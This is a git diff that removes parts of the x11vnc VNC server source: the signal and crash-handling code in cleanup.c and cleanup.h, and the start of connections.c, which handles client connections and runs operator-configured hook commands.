- str = lblanks(line);
-
- p = str;
- while(*p) {
- if (*p == '\n') {
- *p = '\0';
- }
- p++;
- }
-
- if (*str == 'q' && *(str+1) == '\0') {
- fprintf(stderr, "quiting.\n");
- return;
- } else if (*str == 'h' && *(str+1) == '\0') {
- crash_shell_help();
- } else if (*str == '?' && *(str+1) == '\0') {
- crash_shell_help();
- } else if (*str == 's' && *(str+1) == '\0') {
- sprintf(cmd, "sh -c '(%s) &'", crash_stack_command1);
- /* crash */
- if (no_external_cmds || !cmd_ok("crash")) {
- fprintf(stderr, "\nno_external_cmds=%d\n",
- no_external_cmds);
- goto crash_prompt;
- }
- fprintf(stderr, "\nrunning:\n\t%s\n\n",
- crash_stack_command1);
- system(cmd);
- usleep(1000*1000);
-
- sprintf(cmd, "sh -c '(%s) &'", crash_stack_command2);
- fprintf(stderr, "\nrunning:\n\t%s\n\n",
- crash_stack_command2);
- system(cmd);
- usleep(1000*1000);
- } else {
- snprintf(qry, 1000, "qry=%s", str);
- p = process_remote_cmd(qry, 1);
- fprintf(stderr, "\n\nresult:\n%s\n", p);
- free(p);
- }
-
-crash_prompt:
- fprintf(stderr, "crash> ");
- }
-}
-
-/*
- * General problem handler
- */
-static void interrupted (int sig) {
- exit_sig = sig;
- if (exit_flag) {
- fprintf(stderr, "extra[%d] signal: %d\n", exit_flag, sig);
- exit_flag++;
- if (use_threads) {
- usleep2(250 * 1000);
- } else if (exit_flag <= 2) {
- return;
- }
- if (rm_flagfile) {
- unlink(rm_flagfile);
- rm_flagfile = NULL;
- }
- exit(4);
- }
- exit_flag++;
- if (sig == 0) {
- fprintf(stderr, "caught X11 error:\n");
- if (crash_debug) { crash_shell(); }
- } else if (sig == -1) {
- fprintf(stderr, "caught XIO error:\n");
- } else {
- fprintf(stderr, "caught signal: %d\n", sig);
- }
- if (sig == SIGINT) {
- shut_down = 1;
- return;
- }
-
- if (crash_debug) {
- crash_shell();
- }
-
- X_UNLOCK;
-
- if (icon_mode) {
- clean_icon_mode();
- }
- /* remove the shm areas with quick=1: */
- clean_shm(1);
-
- if (sig == -1) {
- /* not worth trying any more cleanup, X server probably gone */
- if (rm_flagfile) {
- unlink(rm_flagfile);
- rm_flagfile = NULL;
- }
- exit(3);
- }
-
- /* X keyboard cleanups */
- delete_added_keycodes(0);
-
- if (clear_mods == 1) {
- clear_modifiers(0);
- } else if (clear_mods == 2) {
- clear_keys();
- } else if (clear_mods == 3) {
- clear_keys();
- clear_locks();
- }
- if (no_autorepeat) {
- autorepeat(1, 0);
- }
- if (use_solid_bg) {
- solid_bg(1);
- }
- if (ncache || ncache0) {
- kde_no_animate(1);
- }
- stop_stunnel();
-
- if (crash_debug) {
- crash_shell();
- }
-
- if (sig) {
- if (rm_flagfile) {
- unlink(rm_flagfile);
- rm_flagfile = NULL;
- }
- exit(2);
- }
-}
-
-static void ignore_sigs(char *list) {
- char *str, *p;
- int ignore = 1;
- if (list == NULL || *list == '\0') {
- return;
- }
- str = strdup(list);
- p = strtok(str, ":,");
-
-#define SETSIG(x, y) \
- if (strstr(p, x)) { \
- if (ignore) { \
- signal(y, SIG_IGN); \
- } else { \
- signal(y, interrupted); \
- } \
- }
-
-#ifdef SIG_IGN
- while (p) {
- if (!strcmp(p, "ignore")) {
- ignore = 1;
- } else if (!strcmp(p, "exit")) {
- ignore = 0;
- }
- /* Take off every 'sig' ;-) */
-#ifdef SIGHUP
- SETSIG("HUP", SIGHUP);
-#endif
-#ifdef SIGINT
- SETSIG("INT", SIGINT);
-#endif
-#ifdef SIGQUIT
- SETSIG("QUIT", SIGQUIT);
-#endif
-#ifdef SIGTRAP
- SETSIG("TRAP", SIGTRAP);
-#endif
-#ifdef SIGABRT
- SETSIG("ABRT", SIGABRT);
-#endif
-#ifdef SIGBUS
- SETSIG("BUS", SIGBUS);
-#endif
-#ifdef SIGFPE
- SETSIG("FPE", SIGFPE);
-#endif
-#ifdef SIGSEGV
- SETSIG("SEGV", SIGSEGV);
-#endif
-#ifdef SIGPIPE
- SETSIG("PIPE", SIGPIPE);
-#endif
-#ifdef SIGTERM
- SETSIG("TERM", SIGTERM);
-#endif
-#ifdef SIGUSR1
- SETSIG("USR1", SIGUSR1);
-#endif
-#ifdef SIGUSR2
- SETSIG("USR2", SIGUSR2);
-#endif
-#ifdef SIGCONT
- SETSIG("CONT", SIGCONT);
-#endif
-#ifdef SIGSTOP
- SETSIG("STOP", SIGSTOP);
-#endif
-#ifdef SIGTSTP
- SETSIG("TSTP", SIGTSTP);
-#endif
- p = strtok(NULL, ":,");
- }
-#endif /* SIG_IGN */
- free(str);
-}
-
-/* signal handlers */
-void initialize_signals(void) {
- signal(SIGHUP, interrupted);
- signal(SIGINT, interrupted);
- signal(SIGQUIT, interrupted);
- signal(SIGABRT, interrupted);
- signal(SIGTERM, interrupted);
- signal(SIGBUS, interrupted);
- signal(SIGSEGV, interrupted);
- signal(SIGFPE, interrupted);
-
- if (!sigpipe || *sigpipe == '\0' || !strcmp(sigpipe, "skip")) {
- ;
- } else if (strstr(sigpipe, "ignore:") == sigpipe) {
- ignore_sigs(sigpipe);
- } else if (strstr(sigpipe, "exit:") == sigpipe) {
- ignore_sigs(sigpipe);
- } else if (!strcmp(sigpipe, "ignore")) {
-#ifdef SIG_IGN
- signal(SIGPIPE, SIG_IGN);
-#endif
- } else if (!strcmp(sigpipe, "exit")) {
- rfbLog("initialize_signals: will exit on SIGPIPE\n");
- signal(SIGPIPE, interrupted);
- }
-
-#if NO_X11
- return;
-#else
- X_LOCK;
- Xerror_def = XSetErrorHandler(Xerror);
- XIOerr_def = XSetIOErrorHandler(XIOerr);
- X_UNLOCK;
-#endif /* NO_X11 */
-}
-
-void unset_signals(void) {
- signal(SIGHUP, SIG_DFL);
- signal(SIGINT, SIG_DFL);
- signal(SIGQUIT, SIG_DFL);
- signal(SIGABRT, SIG_DFL);
- signal(SIGTERM, SIG_DFL);
- signal(SIGBUS, SIG_DFL);
- signal(SIGSEGV, SIG_DFL);
- signal(SIGFPE, SIG_DFL);
- signal(SIGPIPE, SIG_DFL);
-}
-
-void close_exec_fds(void) {
- int fd;
-#ifdef FD_CLOEXEC
- for (fd = 3; fd < 64; fd++) {
- int flags = fcntl(fd, F_GETFD);
- if (flags != -1) {
- flags |= FD_CLOEXEC;
- fcntl(fd, F_SETFD, flags);
- }
- }
-#endif
-}
-
-int known_sigpipe_mode(char *s) {
-/*
- * skip, ignore, exit
- */
- if (strstr(s, "ignore:") == s) {
- return 1;
- }
- if (strstr(s, "exit:") == s) {
- return 1;
- }
- if (strcmp(s, "skip") && strcmp(s, "ignore") &&
- strcmp(s, "exit")) {
- return 0;
- } else {
- return 1;
- }
-}
-
-
diff --git a/x11vnc/cleanup.h b/x11vnc/cleanup.h
deleted file mode 100644
index 0c4dcea..0000000
--- a/x11vnc/cleanup.h
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_CLEANUP_H
-#define _X11VNC_CLEANUP_H
-
-/* -- cleanup.h -- */
-
-extern int trapped_xerror;
-extern int trapped_xioerror;
-extern int trapped_getimage_xerror;
-extern int trapped_record_xerror;
-extern XErrorEvent *trapped_xerror_event;
-
-extern int crash_debug;
-
-extern void clean_shm(int quick);
-extern void clean_up_exit(int ret);
-
-extern int trap_xerror(Display *d, XErrorEvent *error);
-extern int trap_xioerror(Display *d);
-extern int trap_getimage_xerror(Display *d, XErrorEvent *error);
-extern char *xerror_string(XErrorEvent *error);
-extern void initialize_crash_handler(void);
-extern void initialize_signals(void);
-extern void unset_signals(void);
-extern void close_exec_fds(void);
-extern int known_sigpipe_mode(char *s);
-
-#endif /* _X11VNC_CLEANUP_H */
diff --git a/x11vnc/connections.c b/x11vnc/connections.c
deleted file mode 100644
index d2a9b5c..0000000
--- a/x11vnc/connections.c
+++ /dev/null
@@ -1,4437 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- connections.c -- */
-
-#include "x11vnc.h"
-#include "inet.h"
-#include "remote.h"
-#include "keyboard.h"
-#include "cleanup.h"
-#include "gui.h"
-#include "solid.h"
-#include "rates.h"
-#include "screen.h"
-#include "unixpw.h"
-#include "user.h"
-#include "scan.h"
-#include "sslcmds.h"
-#include "sslhelper.h"
-#include "xwrappers.h"
-#include "xevents.h"
-#include "win_utils.h"
-#include "macosx.h"
-#include "macosxCG.h"
-#include "userinput.h"
-#include "pointer.h"
-#include "xrandr.h"
-
-/*
- * routines for handling incoming, outgoing, etc connections
- */
-
-/* string for the VNC_CONNECT property */
-char vnc_connect_str[VNC_CONNECT_MAX+1];
-Atom vnc_connect_prop = None;
-char x11vnc_remote_str[X11VNC_REMOTE_MAX+1];
-Atom x11vnc_remote_prop = None;
-rfbClientPtr inetd_client = NULL;
-
-int all_clients_initialized(void);
-char *list_clients(void);
-int new_fb_size_clients(rfbScreenInfoPtr s);
-void close_all_clients(void);
-void close_clients(char *str);
-void set_client_input(char *str);
-void set_child_info(void);
-int cmd_ok(char *cmd);
-void client_gone(rfbClientPtr client);
-void client_gone_chat_helper(rfbClientPtr client);
-void reverse_connect(char *str);
-void set_vnc_connect_prop(char *str);
-void read_vnc_connect_prop(int);
-void set_x11vnc_remote_prop(char *str);
-void read_x11vnc_remote_prop(int);
-void check_connect_inputs(void);
-void check_gui_inputs(void);
-rfbClientPtr create_new_client(int sock, int start_thread);
-enum rfbNewClientAction new_client(rfbClientPtr client);
-enum rfbNewClientAction new_client_chat_helper(rfbClientPtr client);
-rfbBool password_check_chat_helper(rfbClientPtr cl, const char* response, int len);
-void start_client_info_sock(char *host_port_cookie);
-void send_client_info(char *str);
-void adjust_grabs(int grab, int quiet);
-void check_new_clients(void);
-int accept_client(rfbClientPtr client);
-void check_ipv6_listen(long usec);
-void check_unix_sock(long usec);
-int run_user_command(char *cmd, rfbClientPtr client, char *mode, char *input,
- int len, FILE *output);
-int check_access(char *addr);
-void client_set_net(rfbClientPtr client);
-char *get_xprop(char *prop, Window win);
-int set_xprop(char *prop, Window win, char *value);
-char *bcx_xattach(char *str, int *pg_init, int *kg_init);
-void grab_state(int *ptr_grabbed, int *kbd_grabbed);
-char *wininfo(Window win, int show_children);
-
-static rfbClientPtr *client_match(char *str);
-static void free_client_data(rfbClientPtr client);
-static void ugly_geom(char *p, int *x, int *y);
-static int ugly_window(char *addr, char *userhost, int X, int Y,
- int timeout, char *mode, int accept);
-static int action_match(char *action, int rc);
-static void check_connect_file(char *file);
-static void send_client_connect(void);
-
-
-/*
- * check that all clients are in RFB_NORMAL state
- */
-int all_clients_initialized(void) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
- int ok = 1;
-
- if (! screen) {
- return ok;
- }
-
- iter = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- if (cl->state != RFB_NORMAL) {
- ok = 0;
- } else {
- client_normal_count++;
- }
- }
- rfbReleaseClientIterator(iter);
-
- return ok;
-}
-
-char *list_clients(void) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
- char *list, tmp[256];
- int count = 0;
-
- if (!screen) {
- return strdup("");
- }
-
- iter = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- client_set_net(cl);
- count++;
- }
- rfbReleaseClientIterator(iter);
-
- /*
- * each client:
- * <id>:<ip>:<port>:<user>:<unix>:<hostname>:<input>:<loginview>:<time>,
- * 8+1+64+1+5+1+24+1+24+1+256+1+5+1+1+1+10+1
- * 123.123.123.123:60000/0x11111111-rw,
- * so count+1 * 1000 must cover it.
- */
- list = (char *) malloc((count+1)*1000);
-
- list[0] = '\0';
-
- iter = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- ClientData *cd = (ClientData *) cl->clientData;
- char *tmp_host, *p;
-
- if (! cd) {
- continue;
- }
- if (*list != '\0') {
- strcat(list, ",");
- }
- sprintf(tmp, "0x%x:", cd->uid);
- strcat(list, tmp);
- p = tmp_host = strdup(cl->host);
- while (*p) {
- if (*p == ':') *p = '#';
- p++;
- }
- strcat(list, tmp_host);
- free(tmp_host);
- strcat(list, ":");
- sprintf(tmp, "%d:", cd->client_port);
- strcat(list, tmp);
- if (cd->username[0] == '\0') {
- char *s = ident_username(cl);
- if (s) free(s);
- }
- if (strstr(cd->username, "UNIX:") == cd->username) {
- strcat(list, cd->username + strlen("UNIX:"));
- } else {
- strcat(list, cd->username);
- }
- strcat(list, ":");
- if (cd->unixname[0] == '\0') {
- strcat(list, "none");
- } else {
- strcat(list, cd->unixname);
- }
- strcat(list, ":");
- p = tmp_host = strdup(cd->hostname);
- while (*p) {
- if (*p == ':') *p = '#';
- p++;
- }
- strcat(list, tmp_host);
- free(tmp_host);
- strcat(list, ":");
- strcat(list, cd->input);
- strcat(list, ":");
- sprintf(tmp, "%d", cd->login_viewonly);
- strcat(list, tmp);
- strcat(list, ":");
- sprintf(tmp, "%d", (int) cd->login_time);
- strcat(list, tmp);
- }
- rfbReleaseClientIterator(iter);
- return list;
-}
-
-/* count number of clients supporting NewFBSize */
-int new_fb_size_clients(rfbScreenInfoPtr s) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
- int count = 0;
-
- if (! s) {
- return 0;
- }
-
- iter = rfbGetClientIterator(s);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- if (cl->useNewFBSize) {
- count++;
- }
- }
- rfbReleaseClientIterator(iter);
- return count;
-}
-
-void close_all_clients(void) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
-
- if (! screen) {
- return;
- }
-
- iter = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- rfbCloseClient(cl);
- rfbClientConnectionGone(cl);
- }
- rfbReleaseClientIterator(iter);
-}
-
-static rfbClientPtr *client_match(char *str) {
- rfbClientIteratorPtr iter;
- rfbClientPtr cl, *cl_list;
- int i, n, host_warn = 0, hex_warn = 0;
-
- n = client_count + 10;
- cl_list = (rfbClientPtr *) malloc(n * sizeof(rfbClientPtr));
-
- i = 0;
- iter = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(iter)) ) {
- ClientData *cd = (ClientData *) cl->clientData;
- if (strstr(str, "0x") == str) {
- unsigned int in;
- int id;
- if (! cd) {
- continue;
- }
- if (sscanf(str, "0x%x", &in) != 1) {
- if (hex_warn++) {
- continue;
- }
- rfbLog("skipping invalid client hex id: %s\n",
- str);
- continue;
- }
- id = (unsigned int) in;
- if (cd->uid == id) {
- cl_list[i++] = cl;
- }
- } else {
- int port = -1;
- char *rstr = strdup(str);
- char *q = strrchr(rstr, ':');
- if (q) {
- port = atoi(q+1);
- *q = '\0';
- if (port == 0 && q[1] != '0') {
- port = -1;
- } else if (port < 0) {
- port = -port;
- } else if (port < 200) {
- port = 5500 + port;
- }
- }
- if (ipv6_ip(str)) {
- ;
- } else if (! dotted_ip(str, 0)) {
- char *orig = rstr;
- rstr = host2ip(rstr);
- free(orig);
- if (rstr == NULL || *rstr == '\0') {
- if (host_warn++) {
- continue;
- }
- rfbLog("skipping bad lookup: \"%s\"\n", str);
- continue;
- }
- rfbLog("lookup: %s -> %s port=%d\n", str, rstr, port);
- }
- if (!strcmp(rstr, cl->host)) {
- int ok = 1;
- if (port > 0) {
- if (cd != NULL && cd->client_port > 0) {
- if (cd->client_port != port) {
- ok = 0;
- }
- } else {
- int cport = get_remote_port(cl->sock);
- if (cport != port) {
- ok = 0;
- }
- }
- }
- if (ok) {
- cl_list[i++] = cl;
- }
- }
- free(rstr);
- }
- if (i >= n - 1) {
- break;
- }
- }
- rfbReleaseClientIterator(iter);
-
- cl_list[i] = NULL;
-
- return cl_list;
-}
-
-void close_clients(char *str) {
- rfbClientPtr *cl_list, *cp;
-
- if (!strcmp(str, "all") || !strcmp(str, "*")) {
- close_all_clients();
- return;
- }
-
- if (! screen) {
- return;
- }
-
- cl_list = client_match(str);
-
- cp = cl_list;
- while (*cp) {
- rfbCloseClient(*cp);
- rfbClientConnectionGone(*cp);
- cp++;
- }
- free(cl_list);
-}
-
-void set_client_input(char *str) {
- rfbClientPtr *cl_list, *cp;
- char *p, *val;
-
- /* str is "match:value" */
-
- if (! screen) {
- return;
- }
-
- p = strrchr(str, ':');
- if (! p) {
- return;
- }
- *p = '\0';
- p++;
- val = short_kmbcf(p);
-
- cl_list = client_match(str);
-
- cp = cl_list;
- while (*cp) {
- ClientData *cd = (ClientData *) (*cp)->clientData;
- if (! cd) {
- continue;
- }
- cd->input[0] = '\0';
- strcat(cd->input, "_");
- strcat(cd->input, val);
- cp++;
- }
-
- free(val);
- free(cl_list);
-}
-
-void set_child_info(void) {
- char pid[16];
- /* set up useful environment for child process */
- sprintf(pid, "%d", (int) getpid());
- set_env("X11VNC_PID", pid);
- if (program_name) {
- /* e.g. for remote control -R */
- set_env("X11VNC_PROG", program_name);
- }
- if (program_cmdline) {
- set_env("X11VNC_CMDLINE", program_cmdline);
- }
- if (raw_fb_str) {
- set_env("X11VNC_RAWFB_STR", raw_fb_str);
- } else {
- set_env("X11VNC_RAWFB_STR", "");
- }
-}
-
-int cmd_ok(char *cmd) {
- char *p, *str;
- if (no_external_cmds) {
- return 0;
- }
- if (! cmd || cmd[0] == '\0') {
- return 0;
- }
- if (! allowed_external_cmds) {
- /* default, allow any (overridden by -nocmds) */
- return 1;
- }
-
- str = strdup(allowed_external_cmds);
- p = strtok(str, ",");
- while (p) {
- if (!strcmp(p, cmd)) {
- free(str);
- return 1;
- }
- p = strtok(NULL, ",");
- }
- free(str);
- return 0;
-}
-
-/*
- * utility to run a user supplied command setting some RFB_ env vars.
- * used by, e.g., accept_client() and client_gone()
- */
-int run_user_command(char *cmd, rfbClientPtr client, char *mode, char *input,
- int len, FILE *output) {
- char *old_display = NULL;
- char *addr = NULL;
- char str[100];
- int rc, ok;
- ClientData *cd = NULL;
- client_set_net(client);
- if (client != NULL) {
- cd = (ClientData *) client->clientData;
- addr = client->host;
- }
-
- if (addr == NULL || addr[0] == '\0') {
- addr = "unknown-host";
- }
-
- /* set RFB_CLIENT_ID to semi unique id for command to use */
- if (cd && cd->uid) {
- sprintf(str, "0x%x", cd->uid);
- } else {
- /* not accepted yet: */
- sprintf(str, "0x%x", clients_served);
- }
- set_env("RFB_CLIENT_ID", str);
-
- /* set RFB_CLIENT_IP to IP addr for command to use */
- set_env("RFB_CLIENT_IP", addr);
-
- /* set RFB_X11VNC_PID to our pid for command to use */
- sprintf(str, "%d", (int) getpid());
- set_env("RFB_X11VNC_PID", str);
-
- if (client == NULL) {
- ;
- } else if (client->state == RFB_PROTOCOL_VERSION) {
- set_env("RFB_STATE", "PROTOCOL_VERSION");
- } else if (client->state == RFB_SECURITY_TYPE) {
- set_env("RFB_STATE", "SECURITY_TYPE");
- } else if (client->state == RFB_AUTHENTICATION) {
- set_env("RFB_STATE", "AUTHENTICATION");
- } else if (client->state == RFB_INITIALISATION) {
- set_env("RFB_STATE", "INITIALISATION");
- } else if (client->state == RFB_NORMAL) {
- set_env("RFB_STATE", "NORMAL");
- } else {
- set_env("RFB_STATE", "UNKNOWN");
- }
- if (certret_str) {
- set_env("RFB_SSL_CLIENT_CERT", certret_str);
- } else {
- set_env("RFB_SSL_CLIENT_CERT", "");
- }
-
- /* set RFB_CLIENT_PORT to peer port for command to use */
- if (cd && cd->client_port > 0) {
- sprintf(str, "%d", cd->client_port);
- } else if (client) {
- sprintf(str, "%d", get_remote_port(client->sock));
- }
- set_env("RFB_CLIENT_PORT", str);
-
- set_env("RFB_MODE", mode);
-
- /*
- * now do RFB_SERVER_IP and RFB_SERVER_PORT (i.e. us!)
- * This will establish a 5-tuple (including tcp) the external
- * program can potentially use to work out the virtual circuit
- * for this connection.
- */
- if (cd && cd->server_ip) {
- set_env("RFB_SERVER_IP", cd->server_ip);
- } else if (client) {
- char *sip = get_local_host(client->sock);
- set_env("RFB_SERVER_IP", sip);
- if (sip) free(sip);
- }
-
- if (cd && cd->server_port > 0) {
- sprintf(str, "%d", cd->server_port);
- } else if (client) {
- sprintf(str, "%d", get_local_port(client->sock));
- }
- set_env("RFB_SERVER_PORT", str);
-
- if (cd) {
- sprintf(str, "%d", cd->login_viewonly);
- } else {
- sprintf(str, "%d", -1);
- }
- set_env("RFB_LOGIN_VIEWONLY", str);
-
- if (cd) {
- sprintf(str, "%d", (int) cd->login_time);
- } else {
- sprintf(str, ">%d", (int) time(NULL));
- }
- set_env("RFB_LOGIN_TIME", str);
-
- sprintf(str, "%d", (int) time(NULL));
- set_env("RFB_CURRENT_TIME", str);
-
- if (!cd || !cd->username || cd->username[0] == '\0') {
- set_env("RFB_USERNAME", "unknown-user");
- } else {
- set_env("RFB_USERNAME", cd->username);
- }
- /*
- * Better set DISPLAY to the one we are polling, if they
- * want something trickier, they can handle on their own
- * via environment, etc.
- */
- if (getenv("DISPLAY")) {
- old_display = strdup(getenv("DISPLAY"));
- }
-
- if (raw_fb && ! dpy) { /* raw_fb hack */
- set_env("DISPLAY", "rawfb");
- } else {
- set_env("DISPLAY", DisplayString(dpy));
- }
-
- /*
- * work out the number of clients (have to use client_count
- * since there is deadlock in rfbGetClientIterator)
- */
- sprintf(str, "%d", client_count);
- set_env("RFB_CLIENT_COUNT", str);
-
- /* gone, accept, afteraccept */
- ok = 0;
- if (!strcmp(mode, "env")) {
- return 1;
- }
- if (!strcmp(mode, "accept") && cmd_ok("accept")) {
- ok = 1;
- }
- if (!strcmp(mode, "afteraccept") && cmd_ok("afteraccept")) {
- ok = 1;
- }
- if (!strcmp(mode, "gone") && cmd_ok("gone")) {
- ok = 1;
- }
- if (!strcmp(mode, "cmd_verify") && cmd_ok("unixpw")) {
- ok = 1;
- }
- if (!strcmp(mode, "read_passwds") && cmd_ok("passwdfile")) {
- ok = 1;
- }
- if (!strcmp(mode, "custom_passwd") && cmd_ok("custom_passwd")) {
- ok = 1;
- }
- if (no_external_cmds || !ok) {
- rfbLogEnable(1);
- rfbLog("cannot run external commands in -nocmds mode:\n");
- rfbLog(" \"%s\"\n", cmd);
- rfbLog(" exiting.\n");
- clean_up_exit(1);
- }
- rfbLog("running command:\n");
- if (!quiet) {
- fprintf(stderr, "\n %s\n\n", cmd);
- }
- close_exec_fds();
-
- if (output != NULL) {
- FILE *ph;
- char line[1024];
- char *cmd2 = NULL;
- char tmp[] = "/tmp/x11vnc-tmp.XXXXXX";
- int deltmp = 0;
-
- if (input != NULL) {
- int tmp_fd = mkstemp(tmp);
- if (tmp_fd < 0) {
- rfbLog("mkstemp failed on: %s\n", tmp);
- clean_up_exit(1);
- }
- write(tmp_fd, input, len);
- close(tmp_fd);
- deltmp = 1;
- cmd2 = (char *) malloc(100 + strlen(tmp) + strlen(cmd));
- sprintf(cmd2, "/bin/cat %s | %s", tmp, cmd);
-
- ph = popen(cmd2, "r");
- } else {
- ph = popen(cmd, "r");
- }
- if (ph == NULL) {
- rfbLog("popen(%s) failed", cmd);
- rfbLogPerror("popen");
- clean_up_exit(1);
- }
- memset(line, 0, sizeof(line));
- while (fgets(line, sizeof(line), ph) != NULL) {
- int j, k = -1;
- if (0) fprintf(stderr, "line: %s", line);
- /* take care to handle embedded nulls */
- for (j=0; j < (int) sizeof(line); j++) {
- if (line[j] != '\0') {
- k = j;
- }
- }
- if (k >= 0) {
- write(fileno(output), line, k+1);
- }
- memset(line, 0, sizeof(line));
- }
-
- rc = pclose(ph);
-
- if (cmd2 != NULL) {
- free(cmd2);
- }
- if (deltmp) {
- unlink(tmp);
- }
- goto got_rc;
- } else if (input != NULL) {
- FILE *ph = popen(cmd, "w");
- if (ph == NULL) {
- rfbLog("popen(%s) failed", cmd);
- rfbLogPerror("popen");
- clean_up_exit(1);
- }
- write(fileno(ph), input, len);
- rc = pclose(ph);
- goto got_rc;
- }
-
-#if LIBVNCSERVER_HAVE_FORK
- {
- pid_t pid, pidw;
- struct sigaction sa, intr, quit;
- sigset_t omask;
-
- sa.sa_handler = SIG_IGN;
- sa.sa_flags = 0;
- sigemptyset(&sa.sa_mask);
- sigaction(SIGINT, &sa, &intr);
- sigaction(SIGQUIT, &sa, &quit);
-
- sigaddset(&sa.sa_mask, SIGCHLD);
- sigprocmask(SIG_BLOCK, &sa.sa_mask, &omask);
-
- if ((pid = fork()) > 0 || pid == -1) {
-
- if (pid != -1) {
- pidw = waitpid(pid, &rc, 0);
- }
-
- sigaction(SIGINT, &intr, (struct sigaction *) NULL);
- sigaction(SIGQUIT, &quit, (struct sigaction *) NULL);
- sigprocmask(SIG_SETMASK, &omask, (sigset_t *) NULL);
-
- if (pid == -1) {
- fprintf(stderr, "could not fork\n");
- rfbLogPerror("fork");
- rc = system(cmd);
- }
- } else {
- /* this should close port 5900, etc.. */
- int fd;
- sigaction(SIGINT, &intr, (struct sigaction *) NULL);
- sigaction(SIGQUIT, &quit, (struct sigaction *) NULL);
- sigprocmask(SIG_SETMASK, &omask, (sigset_t *) NULL);
- for (fd=3; fd<256; fd++) {
- close(fd);
- }
-/* XXX test more */
- if (!strcmp(mode, "gone")) {
-#if LIBVNCSERVER_HAVE_SETSID
- setsid();
-#else
- setpgrp();
-#endif
- }
- execlp("/bin/sh", "/bin/sh", "-c", cmd, (char *) NULL);
- exit(1);
- }
- }
-#else
- rc = system(cmd);
-#endif
- got_rc:
-
- if (rc >= 256) {
- rc = rc/256;
- }
- rfbLog("command returned: %d\n", rc);
-
- if (old_display) {
- set_env("DISPLAY", old_display);
- free(old_display);
- }
-
- return rc;
-}
-
-static void free_client_data(rfbClientPtr client) {
- if (! client) {
- return;
- }
- if (client->clientData) {
- ClientData *cd = (ClientData *) client->clientData;
- if (cd) {
- if (cd->server_ip) {
- free(cd->server_ip);
- cd->server_ip = NULL;
- }
- if (cd->hostname) {
- free(cd->hostname);
- cd->hostname = NULL;
- }
- if (cd->username) {
- free(cd->username);
- cd->username = NULL;
- }
- if (cd->unixname) {
- free(cd->unixname);
- cd->unixname = NULL;
- }
- }
- free(client->clientData);
- client->clientData = NULL;
- }
-}
-
-static int accepted_client = 0;
-
-/*
- * callback for when a client disconnects
- */
-void client_gone(rfbClientPtr client) {
- ClientData *cd = NULL;
-
- CLIENT_LOCK;
-
- client_count--;
- if (client_count < 0) client_count = 0;
-
- speeds_net_rate_measured = 0;
- speeds_net_latency_measured = 0;
-
- rfbLog("client_count: %d\n", client_count);
- last_client_gone = dnow();
-
- if (unixpw_in_progress && unixpw_client) {
- if (client == unixpw_client) {
- unixpw_in_progress = 0;
- /* mutex */
- screen->permitFileTransfer = unixpw_file_xfer_save;
- if ((tightfilexfer = unixpw_tightvnc_xfer_save)) {
-#ifdef LIBVNCSERVER_WITH_TIGHTVNC_FILETRANSFER
- rfbLog("rfbRegisterTightVNCFileTransferExtension: 3\n");
- rfbRegisterTightVNCFileTransferExtension();
-#endif
- }
- unixpw_client = NULL;
- copy_screen();
- }
- }
-
-
- if (no_autorepeat && client_count == 0) {
- autorepeat(1, 0);
- }
- if (use_solid_bg && client_count == 0) {
- solid_bg(1);
- }
- if ((ncache || ncache0) && client_count == 0) {
- kde_no_animate(1);
- }
- if (client->clientData) {
- cd = (ClientData *) client->clientData;
- if (cd->ssl_helper_pid > 0) {
- int status;
- rfbLog("sending SIGTERM to ssl_helper_pid: %d\n",
- cd->ssl_helper_pid);
- kill(cd->ssl_helper_pid, SIGTERM);
- usleep(200*1000);
-#if LIBVNCSERVER_HAVE_SYS_WAIT_H && LIBVNCSERVER_HAVE_WAITPID
- waitpid(cd->ssl_helper_pid, &status, WNOHANG);
-#endif
- ssl_helper_pid(cd->ssl_helper_pid, -1); /* delete */
- }
- }
